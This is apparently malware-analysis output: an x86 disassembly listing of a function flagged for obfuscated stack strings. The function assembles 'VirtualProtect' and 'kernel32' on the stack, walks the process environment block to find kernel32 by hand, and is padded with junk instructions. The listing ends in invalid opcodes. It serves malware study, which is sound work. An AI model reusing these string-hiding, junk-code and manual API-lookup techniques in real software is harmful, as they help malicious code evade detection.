Function at 0x41cf9d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add esp, 4
pop esi
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edi
push ecx
add esp, 4
sub edi, 0x14215
pop edi
push eax
sub eax, 0x10b62
pop eax
push edi
push esi
add esp, 4
or edi, 0xa58c
call 0x41d038
add byte [ebx + 0x49], al
dec esp
inc ecx
inc ecx
cmp al, 0x3b
inc ebp
dec esp
add esp, 4
pop edi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push esi
push ebx
add esp, 4
xor esi, 0xcd73
call 0x41d07e
add byte [esi], dh
xor al, byte [ebx + 0x37]
push eax
dec esp
dec ecx
inc edx
xor al, 0x4d
add esp, 4
call 0x41d091
add byte [0x37503640], bh
inc esi
cmp al, 0x34
cmp dword [esi - 0x7d], eax
les eax, [esi + ebx*2]
cmp dword [ebp - 0x150c], 0
jne 0x41d0ad
mov dword [ebp - 0x2a8], 0
jmp 0x41d354
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push ecx
push esi
add esp, 4
and ecx, 0xfd0a
add byte [eax], al
pop ecx
push eax
push eax
add esp, 4
sub eax, 0x172a1
xor eax, 0x121a1
sub eax, 0xbcd0
xor eax, 0x15bc2
pop eax
push eax
and eax, 0xdb70
pop eax
cmp dword [ebp - 0xc4c], 0
jne 0x41d109
mov dword [ebp - 0x2a8], 0
jmp 0x41d354
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push ecx
push edi
add esp, 4
xor ecx, 0xb8c3
and ecx, 0xf29b
or ecx, 0x1371b
pop ecx
push eax
push esi
add esp, 4
or eax, 0x16d99
pop eax
push esi
add esi, 0x11a18
add esi, 0x10b71
pop esi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push esi
push edx
add esp, 4
xor esi, 0x182ef
pop esi
push edx
push ebx
add esp, 4
xor edx, 0x148f9
pop edx
push esi
and esi, 0xb711
add esi, 0xdc82
xor esi, 0x14e50
sub esi, 0x5c79
pop esi
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push esi
xor esi, 0x11395
jmp 0x41d208
jmp 0x41d211
pop esi
push ecx
or ecx, 0x17b4e
and ecx, 0x9910
and ecx, 0xd554
xor ecx, 0x10dde
pop ecx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x41d249
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x41d2a3
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x41d171
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x41d171
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x41d28d
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x41d297
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x41d2ec
push edx
push edx
add esp, 4
xor edx, 0xe411
xor edx, 0xcfe1
sub edx, 0x180ac
xor edx, 0x84b5
pop edx
push esi
or esi, 0x11a51
xor esi, 0x1658d
jmp 0x41d2dd
pop esi
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x41d354
push ebx
push ecx
add esp, 4
add ebx, 0xb307
sub ebx, 0x16cab
pop ebx
push ecx
or ecx, 0x7c7d
xor ecx, 0xae45
pop ecx
push ebx
push edi
add esp, 4
or ebx, 0xeabe
xor ebx, 0x1c8d
pop ebx
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x41d34a
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x41d115
mov dword [ebp - 0x2a8], 0
push edi
and edi, 0x14dfe
or edi, 0x2534
sub edi, 0x3f90
or edi, 0x81de
pop edi
push ecx
jmp 0x41d376
pop ecx
push edi
jmp 0x41d37f
add edi, 0x7b94
pop edi
cmp dword [ebp - 0x2a8], 0
jne 0x41dc8b
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
invalid
invalid
xchg ebp, eax